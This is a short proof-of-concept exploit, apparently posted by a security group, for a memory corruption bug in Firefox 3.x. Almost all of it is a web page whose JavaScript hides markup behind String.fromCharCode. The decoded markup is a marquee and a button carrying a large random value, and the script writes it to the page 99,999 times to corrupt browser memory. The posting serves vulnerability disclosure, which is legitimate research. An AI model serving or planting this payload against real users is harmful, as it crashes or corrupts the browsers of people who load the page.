Mozilla Firefox 3.x.x Memory Corruption

`######################################################################  
#Title: Mozila FirefoX Memory corruption 3.x.x  
#Vendor: http://www.mozilla.com/  
######################################################################  
#AUTHOR: ITSecTeam  
#Email: [email protected]  
#Website: http://www.itsecteam.com  
#Forum : http://forum.ITSecTeam.com  
#Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability57.htm  
#Thanks: Pejvak,M3hr@n$,r3dm0v3,am!rkh@n  
######################################################################  
Hi :D  
<STYLE TYPE="text/css">  
<!--  
H2  
{  
color:green;  
font-size:80pt;  
font-style:italic;  
}  
-->  
</STYLE>  
<script type="text/javascript">  
String.prototype.repeat = function( num )  
{return new Array( num + 1 ).join( this );}  
var i=0;  
var r=Math.floor(Math.random()*99999)*9*8*9*9*9*9*9*9*9/9*9;  
var bib=String.fromCharCode(60, 72, 50, 62, 60, 77, 65, 82, 81, 85,  
69, 69, 32, 87, 73, 68, 84, 72, 61, 49, 48, 48, 37, 32, 66, 69, 72,  
65, 86, 73, 79, 82, 61, 83, 67, 82, 79, 76, 76, 32, 68, 73, 82, 69,  
67, 84, 73, 79, 78, 61, 82, 73, 71, 72, 84, 32, 66, 71, 67, 111, 108,  
111, 114, 61, 121, 101, 108, 108, 111, 119, 62, 60, 105, 110, 112,  
117, 116, 32, 116, 121, 112, 101, 61, 115, 117, 98, 109, 105, 116,  
32, 118, 97, 108, 117, 101, 61)+r+String.fromCharCode(32, 115, 116  
, 121, 108, 101, 61, 34, 98, 97, 99, 107, 103, 114, 111, 117, 110,  
100, 45, 99, 111, 108, 111, 114, 58, 98, 108, 97, 99, 107, 34, 32,  
62, 60, 47, 77, 65, 82, 81, 85, 69, 69, 62, 60, 47, 72, 50, 62);  
document.write(bib.repeat(99999));  
</script>  
//c0ded By Amin Shokohi(Pejvak)  
######################################################################  
  
  
`